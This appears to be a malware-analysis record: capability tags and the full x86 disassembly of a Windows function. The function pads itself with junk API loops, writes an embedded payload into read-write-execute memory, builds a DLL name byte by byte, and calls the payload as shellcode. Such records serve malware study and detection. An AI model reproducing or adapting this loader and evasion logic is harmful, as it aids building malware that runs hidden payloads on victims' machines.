Function at 0x402c40
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk size
Get file attributes
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor ebx, ebx
xor esi, esi
push ebx
call edi
cmp esi, 0xb7e4ee2
jg 0x402c6a
inc esi
cmp esi, 0x73f04bd
jl 0x402c56
cmp dword [0x4588a4], 0x400
jne 0x402ca7
push ebx
lea eax, [ebp - 0x41c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_DefineDosDeviceA]
push ebx
push ebx
call fcn.00403707
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
sub esp, 8
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00403340
fstp st(0)
add esp, 0x10
cmp dword [0x4588a4], 0x93
jne 0x402d12
xor ecx, ecx
lock bts dword [ecx], 0
push 0x402668
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
push ebx
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push ebx
call fcn.00403608
add esp, 4
push ebx
push ebx
call fcn.00403637
add esp, 8
call fcn.00402c30
fldz
push ebx
sub esp, 8
fstp qword [esp]
call fcn.00403354
add esp, 0xc
fstp st(0)
push 0x30
push ebx
push 0x40267c
push 0x402680
call fcn.00403642
add esp, 0x10
mov eax, dword [0x4588a4]
mov ecx, dword [0x44ccd4]
push 0x40
add eax, 0x1134b
push 0x1000
push eax
push ebx
mov dword [0x4596e0], ecx
mov dword [0x4588a4], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x458334], eax
mov esi, 0x1692e
lea esp, [esp]
call edi
sub esi, 1
jne 0x402d50
cmp dword [0x4588a4], ebx
jbe 0x402dc7
mov edi, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov ebx, dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
jmp 0x402d70
mov edx, dword [0x4596e0]
mov al, byte [edx + esi + 0x1134b]
mov ecx, dword [0x458334]
mov byte [ecx + esi], al
cmp dword [0x4588a4], 0x490
jne 0x402dbe
push 0
lea edx, [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
push 0
push 0
push 0
call edi
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [ebp - 8]
push eax
push 0
lea ecx, [ebp - 0x1c]
push ecx
push 0
call ebx
inc esi
cmp esi, dword [0x4588a4]
jb 0x402d70
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringA]
mov ebx, dword [sym.imp.KERNEL32.dll_OpenEventA]
xor esi, esi
mov edx, dword [0x4588a4]
add edx, esi
cmp edx, 0x8d
jne 0x402e0c
push 0
lea eax, [ebp - 0x41c]
push eax
push 0
push 0
push 0
push 0
call edi
push 0
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
push 0
push 0
call ebx
inc esi
cmp esi, 0x38681
jl 0x402dd5
call fcn.00402b10
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ebx, dword [sym.imp.USER32.dll_GetAltTabInfoW]
xor esi, esi
cmp esi, 0xfa62c8f
jge 0x402e3e
call edi
push 0
push 0
push 0
push 0
push 0
call ebx
cmp esi, 0x207142
jg 0x402e4f
inc esi
cmp esi, 0x67d12
jl 0x402e28
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
call edi
cmp esi, 0x61
jne 0x402e75
mov dword [ebp - 4], 0
add dword [ebp - 4], 0xfe6
mov edx, dword [ebp - 4]
add dword [0x458334], edx
inc esi
cmp esi, 0x674bd
jl 0x402e57
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalFree]
mov dword [ebp - 4], 0x7b
jmp 0x402ea0
cmp dword [0x4588a4], 0x86
jne 0x402ed8
push 0x402690
call esi
push 0
lea eax, [ebp - 0x41c]
push eax
push 0x402728
call edi
push 0
call ebx
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
push 0x402740
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
cmp dword [0x4588a4], 0xf
jne 0x402eed
push 0
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
sub dword [ebp - 4], 1
jne 0x402ea0
mov cl, 0x6c
mov al, 0x6d
push 0x44f9c8
mov byte [0x44f9d1], cl
mov byte [0x44f9cb], al
mov byte [0x44f9cc], 0x67
mov byte [0x44f9d0], 0x64
mov byte [0x44f9d3], 0
mov byte [0x44f9d2], cl
mov byte [0x44f9cf], 0x2e
mov byte [0x44f9ce], 0x32
mov byte [0x44f9c8], al
mov byte [0x44f9ca], 0x69
mov byte [0x44f9cd], 0x33
mov byte [0x44f9c9], 0x73
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x458334]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret